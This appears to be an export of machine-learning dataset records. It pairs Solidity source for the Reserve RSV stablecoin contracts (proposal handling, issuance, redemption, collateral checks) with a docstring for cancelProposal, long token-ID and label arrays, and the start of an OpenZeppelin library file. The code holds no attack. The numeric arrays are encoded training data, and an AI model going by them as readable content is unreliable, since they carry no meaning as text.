(IProposal) { IProposal proposal = IProposal(new WeightProposal(proposer, basket)); proposal.nominateNewOwner(msg.sender); return proposal; } } contract Proposal is IProposal, Ownable { using SafeMath for uint256; using SafeERC20 for IERC20; uint256 public time; address public proposer; enum State { Created, Accepted, Cancelled, Completed } State public state; event ProposalCreated(address indexed proposer); event ProposalAccepted(address indexed proposer, uint256 indexed time); event ProposalCancelled(address indexed proposer); event ProposalCompleted(address indexed proposer, address indexed basket); constructor(address _proposer) public { proposer = _proposer; state = State.Created; emit ProposalCreated(proposer); } /// Moves a proposal from the Created to Accepted state. function accept(uint256 _time) external onlyOwner { require(state == State.Created, "proposal not created"); time = _time; state = State.Accepted; emit ProposalAccepted(proposer, _time); } /// Cancels a proposal if it has not been completed. function cancel() external onlyOwner { require(state != State.Completed); state = State.Cancelled; emit ProposalCancelled(proposer); } /// Moves a proposal from the Accepted to Completed state. /// Returns the tokens, quantitiesIn, and quantitiesOut, required to implement the proposal. function complete(IRSV rsv, Basket oldBasket) external onlyOwner returns(Basket) { require(state == State.Accepted, "proposal must be accepted"); require(now > time, "wait to execute"); state = State.Completed; Basket b = _newBasket(rsv, oldBasket); emit ProposalCompleted(proposer, address(b)); return b; } /// Returns the newly-proposed basket. This varies for different types of proposals, /// so it's abstract here. function _newBasket(IRSV trustedRSV, Basket oldBasket) internal returns(Basket); } /** * A WeightProposal represents a suggestion to change the backing for RSV to a new distribution * of tokens. You can think of it as designating what a _single RSV_ should be backed by, but * deferring on the precise quantities of tokens that will be need to be exchanged until a later * point in time. * * When this proposal is completed, it simply returns the target basket. */ contract WeightProposal is Proposal { Basket public trustedBasket; constructor(address _proposer, Basket _trustedBasket) Proposal(_proposer) public { require(_trustedBasket.size() > 0, "proposal cannot be empty"); trustedBasket = _trustedBasket; } /// Returns the newly-proposed basket function _newBasket(IRSV, Basket) internal returns(Basket) { return trustedBasket; } } /** * A SwapProposal represents a suggestion to transfer fixed amounts of tokens into and out of the * vault. Whereas a WeightProposal designates how much a _single RSV_ should be backed by, * a SwapProposal first designates what quantities of tokens to transfer in total and then * solves for the new resultant basket later. * * When this proposal is completed, it calculates what the weights for the new basket will be * and returns it. If RSV supply is 0, this kind of Proposal cannot be used. */ // On "unit" comments, see comment at top of Manager.sol. contract SwapProposal is Proposal { address[] public tokens; uint256[] public amounts; // unit: qToken bool[] public toVault; uint256 constant WEIGHT_SCALE = uint256(10)**18; // unit: aqToken / qToken constructor(address _proposer, address[] memory _tokens, uint256[] memory _amounts, // unit: qToken bool[] memory _toVault ) Proposal(_proposer) public { require(_tokens.length > 0, "proposal cannot be empty"); require(_tokens.length == _amounts.length && _amounts.length == _toVault.length, "unequal array lengths"); tokens = _tokens; amounts = _amounts; toVault = _toVault; } /// Return the newly-proposed basket, based on the current vault and the old basket. function _newBasket(IRSV trustedRSV, Basket trustedOldBasket) internal returns(Basket) { uint256[] memory weights = new uint256[](tokens.length); // unit: aqToken/RSV uint256 scaleFactor = WEIGHT_SCALE.mul(uint256(10)**(trustedRSV.decimals())); // unit: aqToken/qToken * qRSV/RSV uint256 rsvSupply = trustedRSV.totalSupply(); // unit: qRSV for (uint256 i = 0; i < tokens.length; i++) { uint256 oldWeight = trustedOldBasket.weights(tokens[i]); // unit: aqToken/RSV if (toVault[i]) { // We require that the execution of a SwapProposal takes in no more than the funds // offered in its proposal -- that's part of the premise. It turns out that, // because we're rounding down _here_ and rounding up in // Manager._executeBasketShift(), it's possible for the naive implementation of // this mechanism to overspend the proposer's tokens by 1 qToken. We avoid that, // here, by making the effective proposal one less. Yeah, it's pretty fiddly. weights[i] = oldWeight.add( (amounts[i].sub(1)).mul(scaleFactor).div(rsvSupply) ); //unit: aqToken/RSV == aqToken/RSV == [qToken] * [aqToken/qToken*qRSV/RSV] / [qRSV] } else { weights[i] = oldWeight.sub( amounts[i].mul(scaleFactor).div(rsvSupply) ); //unit: aqToken/RSV } } return new Basket(trustedOldBasket, tokens, weights); // unit check for weights: aqToken/RSV } } interface IVault { function withdrawTo(address, uint256, address) external; } /** * The Manager contract is the point of contact between the Reserve ecosystem and the * surrounding world. It manages the Issuance and Redemption of RSV, a decentralized stablecoin * backed by a basket of tokens. * * The Manager also implements a Proposal system to handle administration of changes to the * backing of RSV. Anyone can propose a change to the backing. Once the `owner` approves the * proposal, then after a pre-determined delay the proposal is eligible for execution by * anyone. However, the funds to execute the proposal must come from the proposer. * * There are two different ways to propose changes to the backing of RSV: * - proposeSwap() * - proposeWeights() * * In both cases, tokens are exchanged with the Vault and a new RSV backing is set. You can * think of the first type of proposal as being useful when you don't want to rebalance the * Vault by exchanging absolute quantities of tokens; its downside is that you don't know * precisely what the resulting basket weights will be. The second type of proposal is more * useful when you want to fine-tune the Vault weights and accept the downside that it's * difficult to know what capital will be required when the proposal is executed. */ /* On "unit" comments: * * The units in use around weight computations are fiddly, and it's pretty annoying to get them * properly into the Solidity type system. So, there are many comments of the form "unit: * ...". Where such a comment is describing a field, method, or return parameter, the comment means * that the data in that place is to be interpreted to have that type. Many places also have * comments with more complicated expressions; that's manually working out the dimensional analysis * to ensure that the given expression has correct units. * * Some dimensions used in this analysis: * - 1 RSV: 1 Reserve * - 1 qRSV: 1 quantum of Reserve. * (RSV & qRSV are convertible by .mul(10**reserve.decimals() qRSV/RSV)) * - 1 qToken: 1 quantum of an external Token. * - 1 aqToken: 1 atto-quantum of an external Token. * (qToken and aqToken are convertible by .mul(10**18 aqToken/qToken) * - 1 BPS: 1 Basis Point. Effectively dimensionless; convertible with .mul(10000 BPS). * * Note that we _never_ reason in units of Tokens or attoTokens. */ contract Manager is Ownable { using SafeERC20 for IERC20; using SafeMath for uint256; // ROLES // Manager is already Ownable, but in addition it also has an `operator`. address public operator; // DATA Basket public trustedBasket; IVault public trustedVault; IRSV public trustedRSV; IProposalFactory public trustedProposalFactory; // Proposals mapping(uint256 => IProposal) public trustedProposals; uint256 public proposalsLength; uint256 public delay = 24 hours; // Controls bool public issuancePaused; bool public emergency; // The spread between issuance and redemption in basis points (BPS). uint256 public seigniorage; // 0.1% spread -> 10 BPS. unit: BPS uint256 constant BPS_FACTOR = 10000; // This is what 100% looks like in BPS. unit: BPS uint256 constant WEIGHT_SCALE = 10**18; // unit: aqToken/qToken event ProposalsCleared(); // RSV traded events event Issuance(address indexed user, uint256 indexed amount); event Redemption(address indexed user, uint256 indexed amount); // Pause events event IssuancePausedChanged(bool indexed oldVal, bool indexed newVal); event EmergencyChanged(bool indexed oldVal, bool indexed newVal); event OperatorChanged(address indexed oldAccount, address indexed newAccount); event SeigniorageChanged(uint256 oldVal, uint256 newVal); event VaultChanged(address indexed oldVaultAddr, address indexed newVaultAddr); event DelayChanged(uint256 oldVal, uint256 newVal); // Proposals event WeightsProposed(uint256 indexed id, address indexed proposer, address[] tokens, uint256[] weights); event SwapProposed(uint256 indexed id, address indexed proposer, address[] tokens, uint256[] amounts, bool[] toVault); event ProposalAccepted(uint256 indexed id, address indexed proposer); event ProposalCanceled(uint256 indexed id, address indexed proposer, address indexed canceler); event ProposalExecuted(uint256 indexed id, address indexed proposer, address indexed executor, address oldBasket, address newBasket); // ============================ Constructor =============================== /// Begins in `emergency` state. constructor( address vaultAddr, address rsvAddr, address proposalFactoryAddr, address basketAddr, address operatorAddr, uint256 _seigniorage) public { require(_seigniorage <= 1000, "max seigniorage 10%"); trustedVault = IVault(vaultAddr); trustedRSV = IRSV(rsvAddr); trustedProposalFactory = IProposalFactory(proposalFactoryAddr); trustedBasket = Basket(basketAddr); operator = operatorAddr; seigniorage = _seigniorage; emergency = true; // it's not an emergency, but we want everything to start paused. } // ============================= Modifiers ================================ /// Modifies a function to run only when issuance is not paused. modifier issuanceNotPaused() { require(!issuancePaused, "issuance is paused"); _; } /// Modifies a function to run only when there is not some emergency that requires upgrades. modifier notEmergency() { require(!emergency, "contract is paused"); _; } /// Modifies a function to run only when the caller is the operator account. modifier onlyOperator() { require(_msgSender() == operator, "operator only"); _; } /// Modifies a function to run and complete only if the vault is collateralized. modifier vaultCollateralized() { require(isFullyCollateralized(), "undercollateralized"); _; assert(isFullyCollateralized()); } // ========================= Public + External ============================ /// Set if issuance should be paused. function setIssuancePaused(bool val) external onlyOperator { emit IssuancePausedChanged(issuancePaused, val); issuancePaused = val; } /// Set if all contract actions should be paused. function setEmergency(bool val) external onlyOperator { emit EmergencyChanged(emergency, val); emergency = val; } /// Set the vault. function setVault(address newVaultAddress) external onlyOwner { emit VaultChanged(address(trustedVault), newVaultAddress); trustedVault = IVault(newVaultAddress); } /// Clear the list of proposals. function clearProposals() external onlyOperator { proposalsLength = 0; emit ProposalsCleared(); } /// Set the operator. function setOperator(address _operator) external onlyOwner { emit OperatorChanged(operator, _operator); operator = _operator; } /// Set the seigniorage, in BPS. function setSeigniorage(uint256 _seigniorage) external onlyOwner { require(_seigniorage <= 1000, "max seigniorage 10%"); emit SeigniorageChanged(seigniorage, _seigniorage); seigniorage = _seigniorage; } /// Set the Proposal delay in hours. function setDelay(uint256 _delay) external onlyOwner { emit DelayChanged(delay, _delay); delay = _delay; } /// Ensure that the Vault is fully collateralized. That this is true should be an /// invariant of this contract: it's true before and after every txn. function isFullyCollateralized() public view returns(bool) { uint256 scaleFactor = WEIGHT_SCALE.mul(uint256(10) ** trustedRSV.decimals()); // scaleFactor unit: aqToken/qToken * qRSV/RSV for (uint256 i = 0; i < trustedBasket.size(); i++) { address trustedToken = trustedBasket.tokens(i); uint256 weight = trustedBasket.weights(trustedToken); // unit: aqToken/RSV uint256 balance = IERC20(trustedToken).balanceOf(address(trustedVault)); //unit: qToken // Return false if this token is undercollateralized: if (trustedRSV.totalSupply().mul(weight) > balance.mul(scaleFactor)) { // checking units: [qRSV] * [aqToken/RSV] == [qToken] * [aqToken/qToken * qRSV/RSV] return false; } } return true; } /// Get amounts of basket tokens required to issue an amount of RSV. /// The returned array will be in the same order as the current basket.tokens. /// return unit: qToken[] function toIssue(uint256 rsvAmount) public view returns (uint256[] memory) { // rsvAmount unit: qRSV. uint256[] memory amounts = new uint256[](trustedBasket.size()); uint256 feeRate = uint256(seigniorage.add(BPS_FACTOR)); // feeRate unit: BPS uint256 effectiveAmount = rsvAmount.mul(feeRate).div(BPS_FACTOR); // effectiveAmount unit: qRSV == qRSV*BPS/BPS // On issuance, amounts[i] of token i will enter the vault. To maintain full backing, // we have to round _up_ each amounts[i]. for (uint256 i = 0; i < trustedBasket.size(); i++) { address trustedToken = trustedBasket.tokens(i); amounts[i] = _weighted( effectiveAmount, trustedBasket.weights(trustedToken), RoundingMode.UP ); // unit: qToken = _weighted(qRSV, aqToken/RSV, _) } return amounts; // unit: qToken[] } /// Get amounts of basket tokens that would be sent upon redeeming an amount of RSV. /// The returned array will be in the same order as the current basket.tokens. /// return unit: qToken[] function toRedeem(uint256 rsvAmount) public view returns (uint256[] memory) { // rsvAmount unit: qRSV uint256[] memory amounts = new uint256[](trustedBasket.size()); // On redemption, amounts[i] of token i will leave the vault. To maintain full backing, // we have to round _down_ each amounts[i]. for (uint256 i = 0; i < trustedBasket.size(); i++) { address trustedToken = trustedBasket.tokens(i); amounts[i] = _weighted( rsvAmount, trustedBasket.weights(trustedToken), RoundingMode.DOWN ); // unit: qToken = _weighted(qRSV, aqToken/RSV, _) } return amounts; } /// Handles issuance. /// rsvAmount unit: qRSV function issue(uint256 rsvAmount) external issuanceNotPaused notEmergency vaultCollateralized { require(rsvAmount > 0, "cannot issue zero RSV"); require(trustedBasket.size() > 0, "basket cannot be empty"); // Accept collateral tokens. uint256[] memory amounts = toIssue(rsvAmount); // unit: qToken[] for (uint256 i = 0; i < trustedBasket.size(); i++) { IERC20(trustedBasket.tokens(i)).safeTransferFrom( _msgSender(), address(trustedVault), amounts[i] ); // unit check for amounts[i]: qToken. } // Compensate with RSV. trustedRSV.mint(_msgSender(), rsvAmount); // unit check for rsvAmount: qRSV. emit Issuance(_msgSender(), rsvAmount); } /// Handles redemption. /// rsvAmount unit: qRSV function redeem(uint256 rsvAmount) external notEmergency vaultCollateralized { require(rsvAmount > 0, "cannot redeem 0 RSV"); require(trustedBasket.size() > 0, "basket cannot be empty"); // Burn RSV tokens. trustedRSV.burnFrom(_msgSender(), rsvAmount); // unit check: rsvAmount is qRSV. // Compensate with collateral tokens. uint256[] memory amounts = toRedeem(rsvAmount); // unit: qToken[] for (uint256 i = 0; i < trustedBasket.size(); i++) { trustedVault.withdrawTo(trustedBasket.tokens(i), amounts[i], _msgSender()); // unit check for amounts[i]: qToken. } emit Redemption(_msgSender(), rsvAmount); } /** * Propose an exchange of current Vault tokens for new Vault tokens. * * These parameters are phyiscally a set of arrays because Solidity doesn't let you pass * around arrays of structs as parameters of transactions. Semantically, read these three * lists as a list of triples (token, amount, toVault), where: * * - token is the address of an ERC-20 token, * - amount is the amount of the token that the proposer says they will trade with the vault, * - toVault is the direction of that trade. If toVault is true, the proposer offers to send * `amount` of `token` to the vault. If toVault is false, the proposer expects to receive * `amount` of `token` from the vault. * * If and when this proposal is accepted and executed, then: * * 1. The Manager checks that the proposer has allowed adequate funds, for the proposed * transfers from the proposer to the vault. * 2. The proposed set of token transfers occur between the Vault and the proposer. * 3. The Vault's basket weights are raised and lowered, based on these token transfers and the * total supply of RSV **at the time when the proposal is executed**. * * Note that the set of token transfers will almost always be at very slightly lower volumes * than requested, due to the rounding error involved in (a) adjusting the weights at execution * time and (b) keeping the Vault fully collateralized. The contracts should never attempt to * trade at higher volumes than requested. * * The intended behavior of proposers is that they will make proposals that shift the Vault * composition towards some known target of Reserve's management while maintaining full * backing; the expected behavior of Reserve's management is to accept only such proposals, * excepting during dire emergencies. * * Note: This type of proposal does not reliably remove token addresses! * If you want to remove token addresses entirely, use proposeWeights. * * Returns the new proposal's ID. */ function proposeSwap( address[] calldata tokens, uint256[] calldata amounts, // unit: qToken bool[] calldata toVault ) external notEmergency vaultCollateralized returns(uint256) { require(tokens.length == amounts.length && amounts.length == toVault.length, "proposeSwap: unequal lengths"); uint256 proposalID = proposalsLength++; trustedProposals[proposalID] = trustedProposalFactory.createSwapProposal( _msgSender(), tokens, amounts, toVault ); trustedProposals[proposalID].acceptOwnership(); emit SwapProposed(proposalID, _msgSender(), tokens, amounts, toVault); return proposalID; } /** * Propose a new basket, defined by a list of tokens address, and their basket weights. * * Note: With this type of proposal, the allowances of tokens that will be required of the * proposer may change between proposition and execution. If the supply of RSV rises or falls, * then more or fewer tokens will be required to execute the proposal. * * Returns the new proposal's ID. */ function proposeWeights(address[] calldata tokens, uint256[] calldata weights) external notEmergency vaultCollateralized returns(uint256) { require(tokens.length == weights.length, "proposeWeights: unequal lengths"); require(tokens.length > 0, "proposeWeights: zero length"); uint256 proposalID = proposalsLength++; trustedProposals[proposalID] = trustedProposalFactory.createWeightProposal( _msgSender(), new Basket(Basket(0), tokens, weights) ); trustedProposals[proposalID].acceptOwnership(); emit WeightsProposed(proposalID, _msgSender(), tokens, weights); return proposalID; } /// Accepts a proposal for a new basket, beginning the required delay. function acceptProposal(uint256 id) external onlyOperator notEmergency vaultCollateralized { require(proposalsLength > id, "proposals length <= id"); trustedProposals[id].accept(now.add(delay)); emit ProposalAccepted(id, trustedProposals[id].proposer()); } /// Cancels a proposal. This can be done anytime before it is enacted by any of: /// 1. Proposer 2. Operator 3. Owner function cancelProposal(uint256 id) external notEmergency vaultCollateralized { require( _msgSender() == trustedProposals[id].proposer() || _msgSender() == owner() || _msgSender() == operator, "cannot cancel" ); require(proposalsLength > id, "proposals length <= id"); trustedProposals[id].cancel(); emit ProposalCanceled(id, trustedProposals[id].proposer(), _msgSender()); } /// Executes a proposal by exchanging collateral tokens with the proposer. function executeProposal(uint256 id) external onlyOperator notEmergency vaultCollateralized { require(proposalsLength > id, "proposals length <= id"); address proposer = trustedProposals[id].proposer(); Basket trustedOldBasket = trustedBasket; // Complete proposal and compute new basket trustedBasket = trustedProposals[id].complete(trustedRSV, trustedOldBasket); // For each token in either basket, perform transfers between proposer and Vault for (uint256 i = 0; i < trustedOldBasket.size(); i++) { address trustedToken = trustedOldBasket.tokens(i); _executeBasketShift( trustedOldBasket.weights(trustedToken), trustedBasket.weights(trustedToken), trustedToken, proposer ); } for (uint256 i = 0; i < trustedBasket.size(); i++) { address trustedToken = trustedBasket.tokens(i); if (!trustedOldBasket.has(trustedToken)) { _executeBasketShift( trustedOldBasket.weights(trustedToken), trustedBasket.weights(trustedToken), trustedToken, proposer ); } } emit ProposalExecuted( id, proposer, _msgSender(), address(trustedOldBasket), address(trustedBasket) ); } // ============================= Internal ================================ /// _executeBasketShift transfers the necessary amount of `token` between vault and `proposer` /// to rebalance the vault's balance of token, as it goes from oldBasket to newBasket. /// @dev To carry out a proposal, this is executed once per relevant token. function _executeBasketShift( uint256 oldWeight, // unit: aqTokens/RSV uint256 newWeight, // unit: aqTokens/RSV address trustedToken, address proposer ) internal { if (newWeight > oldWeight) { // This token must increase in the vault, so transfer from proposer to vault. // (Transfer into vault: round up) uint256 transferAmount =_weighted( trustedRSV.totalSupply(), newWeight.sub(oldWeight), RoundingMode.UP ); // transferAmount unit: qTokens if (transferAmount > 0) { IERC20(trustedToken).safeTransferFrom( proposer, address(trustedVault), transferAmount ); } } else if (newWeight < oldWeight) { // This token will decrease in the vault, so transfer from vault to proposer. // (Transfer out of vault: round down) uint256 transferAmount =_weighted( trustedRSV.totalSupply(), oldWeight.sub(newWeight), RoundingMode.DOWN ); // transferAmount unit: qTokens if (transferAmount > 0) { trustedVault.withdrawTo(trustedToken, transferAmount, proposer); } } } // When you perform a weighting of some amount of RSV, it will involve a division, and // precision will be lost. When it rounds, do you want to round UP or DOWN? Be maximally // conservative. enum RoundingMode {UP, DOWN} /// From a weighting of RSV (e.g., a basket weight) and an amount of RSV, /// compute the amount of the weighted token that matches that amount of RSV. function _weighted( uint256 amount, // unit: qRSV uint256 weight, // unit: aqToken/RSV RoundingMode rnd ) internal view returns(uint256) // return unit: qTokens { uint256 scaleFactor = WEIGHT_SCALE.mul(uint256(10)**(trustedRSV.decimals())); // scaleFactor unit: aqTokens/qTokens * qRSV/RSV uint256 shiftedWeight = amount.mul(weight); // shiftedWeight unit: qRSV/RSV * aqTokens // If the weighting is precise, or we're rounding down, then use normal division. if (rnd == RoundingMode.DOWN || shiftedWeight.mod(scaleFactor) == 0) { return shiftedWeight.div(scaleFactor); // return unit: qTokens == qRSV/RSV * aqTokens * (qTokens/aqTokens * RSV/qRSV) } return shiftedWeight.div(scaleFactor).add(1); // return unit: qTokens } }
Cancels a proposal. This can be done anytime before it is enacted by any of: 1. Proposer 2. Operator 3. Owner
function cancelProposal(uint256 id) external notEmergency vaultCollateralized { require( _msgSender() == trustedProposals[id].proposer() || _msgSender() == owner() || _msgSender() == operator, "cannot cancel" ); require(proposalsLength > id, "proposals length <= id"); trustedProposals[id].cancel(); emit ProposalCanceled(id, trustedProposals[id].proposer(), _msgSender()); }
12,591,282
[ 1, 6691, 87, 279, 14708, 18, 1220, 848, 506, 2731, 1281, 957, 1865, 518, 353, 570, 25487, 635, 1281, 434, 30, 404, 18, 1186, 5607, 576, 18, 11097, 890, 18, 16837, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 3755, 14592, 12, 11890, 5034, 612, 13, 3903, 486, 1514, 24530, 9229, 13535, 2045, 287, 1235, 288, 203, 3639, 2583, 12, 203, 5411, 389, 3576, 12021, 1435, 422, 13179, 626, 22536, 63, 350, 8009, 685, 5607, 1435, 747, 203, 5411, 389, 3576, 12021, 1435, 422, 3410, 1435, 747, 203, 5411, 389, 3576, 12021, 1435, 422, 3726, 16, 203, 5411, 315, 12892, 3755, 6, 203, 3639, 11272, 203, 3639, 2583, 12, 685, 22536, 1782, 405, 612, 16, 315, 685, 22536, 769, 1648, 612, 8863, 203, 3639, 13179, 626, 22536, 63, 350, 8009, 10996, 5621, 203, 3639, 3626, 19945, 23163, 12, 350, 16, 13179, 626, 22536, 63, 350, 8009, 685, 5607, 9334, 389, 3576, 12021, 10663, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
/** *Submitted for verification at Etherscan.io on 2021-04-27 */ // File: @openzeppelin/contracts-ethereum-package/contracts/Initializable.sol pragma solidity >=0.4.24 <0.7.0; /** * @title Initializable * * @dev Helper contract to support initializer functions. To use it, replace * the constructor with a function that has the `initializer` modifier. * WARNING: Unlike constructors, initializer functions must be manually * invoked. This applies both to deploying an Initializable contract, as well * as extending an Initializable contract via inheritance. * WARNING: When used with inheritance, manual care must be taken to not invoke * a parent initializer twice, or ensure that all initializers are idempotent, * because this is not dealt with automatically as with constructors. */ contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private initializing; /** * @dev Modifier to use in the initializer function of a contract. */ modifier initializer() { require(initializing || isConstructor() || !initialized, "Contract instance has already been initialized"); bool isTopLevelCall = !initializing; if (isTopLevelCall) { initializing = true; initialized = true; } _; if (isTopLevelCall) { initializing = false; } } /// @dev Returns true if and only if the function is running in the constructor function isConstructor() private view returns (bool) { // extcodesize checks the size of the code stored in an address, and // address returns the current address. Since the code is still not // deployed when running a constructor, any checks on its code size will // yield zero, making it an effective way to detect if a contract is // under construction or not. address self = address(this); uint256 cs; assembly { cs := extcodesize(self) } return cs == 0; } // Reserved storage space to allow for layout changes in the future. uint256[50] private ______gap; } // File: @openzeppelin/contracts-ethereum-package/contracts/GSN/Context.sol pragma solidity ^0.6.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ contract ContextUpgradeSafe is Initializable { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. function __Context_init() internal initializer { __Context_init_unchained(); } function __Context_init_unchained() internal initializer { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } uint256[50] private __gap; } // File: @openzeppelin/contracts-ethereum-package/contracts/token/ERC20/IERC20.sol pragma solidity ^0.6.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts-ethereum-package/contracts/math/SafeMath.sol pragma solidity ^0.6.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // File: 